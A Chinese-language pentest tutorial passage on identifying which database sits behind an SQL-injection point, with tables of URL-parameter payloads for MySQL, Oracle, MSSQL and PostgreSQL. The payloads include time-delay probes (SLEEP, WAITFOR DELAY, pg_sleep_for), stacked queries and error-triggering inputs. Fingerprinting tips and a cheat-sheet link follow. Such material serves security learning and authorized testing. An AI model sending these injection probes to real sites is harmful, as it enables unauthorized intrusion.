确认注入点后,我们需要识别后端所使用的数据库,因为不同的数据库注入的方式不一样,后期利用手法和条件也不一样。
[!TIP]
核心就是利用数据库特有的一些语法或者函数来判断即可,毕竟要满足该数据库的语法后SQL语句才能正常执行;下面的例子不全面,只是给大家提供一个思路,最明显的就是休眠函数
MySQL
空格--空格
是注释,根据具体情况看是否添加
| 描述 | 语句 | | —- | —- |
|
SLEEP函数
| page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
|
|
BENCHMARK函数
| page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
|
|
字符串连接(注意有个空格)
| page.php?id=' 'mysql' --
page.php?id=' and concat('some','string')
|
|
版本信息
| select @@version
select version()
|
|
错误消息(根据返回的错误信息判断)
| page.php?id='
|
|
特有函数
| select connection_id()
select last_insert_id()
select row_count()
|
Oracle
| 描述 | 语句 | | —- | —- |
|
字符串连接
| page.jsp?id='||'oracle' -- a
|
|
默认表
| page.jsp?id='UNION SELECT 1 FROM v$version --
select banner FROM v$version
select banner FROM v$version WHERE rownum=1
|
|
错误消息(根据返回的错误信息判断)
| page.jsp?id='
|
MSSQL
| 描述 | 语句 | | —- | —- |
|
WAITFOR 函数
| page.asp?id=';WAITFOR DELAY '00:00:10'; --
|
|
堆叠查询默认变量
| page.asp?id=sql'; SELECT @@SERVERNAME --
|
|
错误消息(根据返回的错误信息判断)
| page.asp?id='
|
|
错误消息(如果id参数是整数, 则@@SERVERNAME
变量的字符串值可能导致转换错误)
| page.asp?id=@@SERVERNAME
|
|
错误消息(如果id参数是整数, 则@@SERVERNAME
变量的字符串值可能导致转换错误)
| page.asp?id=0/@@SERVERNAME
|
|
常量
| @@pack_received
@@rowcount
|
PostgreSQL
| 描述 | 语句 | | —- | —- |
|
字符串连接
| page.jsp?id='||'postgresql' -- a
|
|
休眠函数
| page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a
|
一些经验
| 方法 | 数据库 | | —- | —- |
|
常用搭配
| asp => mssql、access
aspx => mssql
php => mysql、postgresql
java => mysql、oracle、mssql
|
|
默认端口
| oracle => 1521
mssql => 1433
mysql => 3306
postgresql => 5432
|
|
数据库特有函数
| pg_sleep()
=> postgresqlbenchmark()
=> mysqlwaitfor delay
=> mssqlDBMS_PIPE.RECEIVE_MESSAGE()
=> oracle
…
|
|
特殊符号
| ;
=> 字句查询标识符,postgresql、mssql 默认可堆叠查询#
=> Mysql 注释符
|
|
特定表名
| information_schema
=> mssql,postgresql,mysqlpg_tables
=> postgresqlsysobjects
=> mssqlall_tables,user_tables
=> oracle
|
| 报错banner信息 | … |
比较全面可以参考:https://bak.gm7.org/pentestmonkey.net/category/cheat-sheet/sql-injection.html
里面的函数很多,也有执行后的结果(有些函数可能适用多个数据库,可以多用几个判断试试)